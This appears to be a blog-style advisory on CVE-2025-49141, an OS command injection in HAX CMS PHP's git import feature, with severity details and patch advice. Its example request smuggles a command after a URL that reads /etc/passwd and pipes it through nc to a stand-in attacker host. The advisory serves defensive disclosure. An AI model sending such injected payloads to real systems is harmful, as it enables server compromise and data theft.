CVE-2025-49141: OS Command Injection Vulnerability in HAX CMS PHP

Overview

In this blog post, we will delve deep into a recent cybersecurity vulnerability identified in HAX CMS PHP. The vulnerability, CVE-2025-49141, affects versions prior to 11.0.3 of HAX CMS PHP, a popular content management system that allows users to manage their microsite universe with a PHP backend.
This vulnerability is particularly concerning due to its potential to allow an authenticated attacker to execute arbitrary OS commands on the backend server, leading to potential system compromise or data leakage. As such, it is critical for all users of the affected versions of HAX CMS PHP to understand the nature of this vulnerability and take appropriate steps to mitigate any potential risks.

Vulnerability Summary

CVE ID: CVE-2025-49141
Severity: High (8.5 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

HAX CMS PHP | Prior to 11.0.3

How the Exploit Works

The vulnerability lies in the `gitImportSite` functionality which obtains a URL string from a POST request and insufficiently validates user input. The `set_remote` function later passes this input into `proc_open`, resulting in OS command injection.
An authenticated attacker can craft a URL string that bypasses the validation checks employed by the `filter_var` and `strpos` functions, thereby executing arbitrary OS commands on the backend server. Moreover, the attacker can exfiltrate command output via an HTTP request.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

POST /gitImportSite HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"url": "https://legitimate-site.com; cat /etc/passwd | nc attacker.com 4444"
}

In the above example, the attacker is passing a semicolon (;) after a legitimate URL, followed by an arbitrary OS command (`cat /etc/passwd`), which is used to read the password file. The output of this command is then piped (`|`) to `nc`, a networking utility for reading from and writing to network connections, to send the output to the attacker’s server.

Recommended Mitigation

The vulnerability has been patched in version 11.0.3 of HAX CMS PHP. All users are strongly advised to update to this version or later. In the absence of an immediate update, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation strategy. However, these are temporary solutions and upgrading to the patched version is the most reliable way to secure systems against this vulnerability.